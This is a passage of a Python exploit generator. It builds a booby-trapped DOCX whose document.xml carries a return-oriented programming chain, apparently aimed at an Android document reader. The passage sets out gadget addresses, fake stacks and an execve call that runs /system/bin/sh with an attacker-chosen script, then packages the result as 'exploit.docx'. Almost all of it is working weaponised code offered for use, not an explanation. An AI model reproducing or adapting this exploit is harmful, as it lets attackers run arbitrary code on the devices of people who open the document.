        s.pad(12)

        # Here's how we want the memory laid out:
        # 0x0000a0c4 - "/system/bin/sh"
        # 0x0000a1c4 - "/path/to/file.sh"
        # 0x0000a5c4 - Fake stack 0 (to make stack 1 shorter)
        # 0x0000a2c4 - Fake stack 1 (to populate r7)
        # 0x0000a3c4 - Fake stack 2 (to populate r0-r2)
        # 0x0000a4c4 - argv[] for execve()
        # 0x0000a4d0 - envp[] for execve()

        # Strings for execve
        s.store("/system/bin/sh", "0x0000a0c4")
        s.store(arguments.shellScriptLocation, "0x0000a1c4")

        # argv array
        s.storeDword("0x0000a0d0", "0x0000a4c4") # Argv[0], "sh"
        s.storeDword("0x0000a1c4", "0x0000a4c8") # Argv[1], our .sh file
        s.storeDword("0x00000000", "0x0000a4cc") # Argv[2], null terminator

        # envp array
        s.storeDword("0x00000000", "0x0000a4d0") # Argv[2], null terminator

        # Setup fake stack 0
        s.storeDword("0xb0002860","0x0000a5cc") # pc - 0xb0002860:  ldmia sp, {sp, lr, pc}
        s.storeDword("0x0000a2c4","0x0000a5d0") # sp
        s.storeDword("0xb0002860","0x0000a5d4") # lr - point to pop sp gadget
        s.subVal("0x0000a5d8", "0xb0003770", "0x00002000") # pc - # >0xb0001770 : pop {r4 r7} ; bx lr ;;

        # Setup fake stack 1
        s.subVal("0x0000a2c8", "3333", "(333", mode="data") # r7
        s.storeDword("0x0000a3c4", "0x0000a2cc") # arg for pointSP, addr of fake stack 2
        s.subVal("0x0000a2d4", "0xb0003923", "0x00000070") # Jump to fake stack 2 - #>0xb00038b3 : pop {r0 r1 r2 r3 r4 pc} ;;

        # Setup fake stack 2
        s.storeDword("0x0000a0c4", "0x0000a3c4") # r0
        s.storeDword("0x0000a4c4", "0x0000a3c8") # r1, argv
        s.storeDword("0x0000a4d0", "0x0000a3cc") # r2, envp

        # Call SVC
        s.subVal("0x0000a3d8", "0xb0003830", "0x00002070") # pc, addr of SVC

        # Point to fake stack 0 and set lr
        s.pointSP("0x0000a5c4")

        # Jump to the fake stack 0 - >0xb000652d : pop {r4 r5 pc} ;;
        s.toaddr("0xb000652d")

        # We need this here, otherwise the final string doesn't get added to the document XML. Buggy code :)
        s.add("\x00")

        # Write the malicious XML to document.xml
        xml = xml.replace("$REPLACEME$", s.genPayload())
        os.makedirs(os.path.join(temp_dir, "template", "word"))
        fs.write(os.path.join(temp_dir, "template", "word", "document.xml"), xml)

        # Save working directory and change to template folder
        cwd = os.getcwd()
        os.chdir(os.path.join(temp_dir, "template"))

        # Zip up the contents into a DOCX
        zip = zipfile.ZipFile(os.path.join(temp_dir, "exploit.docx"), 'w')
        for root, dirs, files in os.walk("."):
          for file in files:
            zip.write(os.path.join(root, file))
        zip.close()

        # Restore working directory
        os.chdir(cwd)

        print("Done. Exploit file generated with the following parameters:\n    Location = %s\n    Execute = %s" % (os.path.join(temp_dir, "exploit.docx"), arguments.shellScriptLocation))